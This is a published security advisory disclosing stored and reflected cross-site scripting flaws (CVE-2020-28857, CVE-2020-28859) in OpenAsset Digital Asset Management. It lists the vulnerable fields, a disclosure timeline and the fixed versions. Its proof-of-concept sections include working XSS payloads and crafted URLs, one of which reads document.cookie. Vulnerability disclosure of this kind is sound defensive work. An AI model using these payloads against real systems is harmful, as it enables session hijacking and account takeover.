Authored by Jack Misiura

The OpenAsset Digital Asset Management web application suffers from multiple reflected and persistent cross site scripting vulnerabilities. Vulnerable versions include 12.0.19 (Cloud) and 11.2.1 (On-premise).

advisories | CVE-2020-28857, CVE-2020-28859

Title: Stored cross-site scripting (XSS)
Product: OpenAsset Digital Asset Management by OpenAsset
Vendor Homepage: https://www.openasset.com/
Vulnerable Version: 12.0.19 (Cloud) 11.2.1 (On-premise)
Fixed Version: 12.0.23 (Cloud) 11.4.10 (On-premise)
CVE Number: CVE-2020-28857

Author: Jack Misiura from The Missing Link
Website: https://www.themissinglink.com.au


Timeline:
2020-11-14 Disclosed to Vendor
2020-12-04 Vendor releases final patches
2020-12-10 Publication



1. Vulnerability Description

The OpenAsset Digital Asset Management web application allowed for stored cross-site scripting attacks against various parameters and endpoints. Vulnerable parts of the web application include:

* System Preferences

* Project Code regex field

* User name regex field

* Password regex field

* All three description fields

* First Album Name field

* Visit Items Per SOAP request field

* Categories description

* Keywords, triggered on deletion attempts

* Editing photographer name

* Access token name

* Web share name



2. PoC



For system preferences fields, the following payloads can be used:



" autofocus onfocus="alert('Stored XSS');" abc="

"><script>alert("Script stored XSS");</script>



For categories description:



Category Name Goes Here<script>alert('Description stored XSS');</script>



For keywords:



Delete Me<script>alert(1234);</script>



Photographer name:



John Smith<script>alert("XSS Attack!");</script>



Access token name:



TokenName"><script>alert("Stored XSS Tokens")</script>



Web share name:



Share<script>alert("Stored XSS Web Share Name");</script>



3. Solution



The vendor provides an updated version (11.4.10) which should be installed immediately. If using the cloud version, the vendor has already updated it.



4. Advisory URL



https://www.themissinglink.com.au/security-advisories



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Title: Reflected cross-site scripting (XSS)
Product: OpenAsset Digital Asset Management by OpenAsset
Vendor Homepage: https://www.openasset.com/
Vulnerable Version: 12.0.19 (Cloud) 11.2.1 (On-premise)
Fixed Version: 12.0.22 (Cloud) 11.4.10 (On-premise)
CVE Number: CVE-2020-28859

Author: Jack Misiura from The Missing Link
Website: https://www.themissinglink.com.au

Timeline:
2020-11-14 Disclosed to Vendor
2020-12-04 Vendor releases final patches
2020-12-10 Publication


1. Vulnerability Description



Multiple reflected cross-site scripting (XSS) vulnerabilities in the OpenAsset Digital Asset Management software allows remote attackers to inject arbitrary JavaScript or HTML via:

* Account recovery/password reset page through the email parameter

* Saved search request, through the id parameter

* Search result request, through both the imageViewId and lpFilterInputId parameters



2. PoC



Account recovery:

https://example.com/Page/StartAccountRecovery?ok=1 <https://example.com/Page/StartAccountRecovery?ok=1&email=test%40test%3cscript%3ealert(document.cookie)%3c%2Fscript%3e.com> &email=test%40test<script>alert(document.cookie)<%2Fscript>.com



Saved search request:

https://example.com/AJAXPage/SavedSearch?id=167826 <https://example.com/AJAXPage/SavedSearch?id=167826%22')%3b%7d%3b%7d%5d%7d)%3b%3c/script%3e%3cscript%3ealert(%22Reflected%20XSS!%22)%3b%3c/script> "')%3b}%3b}]})%3b</script><script>alert("Reflected%20XSS!")%3b</script>

"');}}}]});alert(123);



Search result request:

https://example.com/AJAXPage/SearchResults?imageViewId=A%27%22%3e%3cscript <https://example.com/AJAXPage/SearchResults?imageViewId=A%27%22%3e%3cscript%3ealert(%22more+xss+here%22)%3b%3c/script> >alert("more+xss+here")%3b</script>



3. Solution



The vendor provides an updated version (11.4.10) which should be installed immediately. If using the cloud version, the vendor has already updated it.



4. Advisory URL



https://www.themissinglink.com.au/security-advisories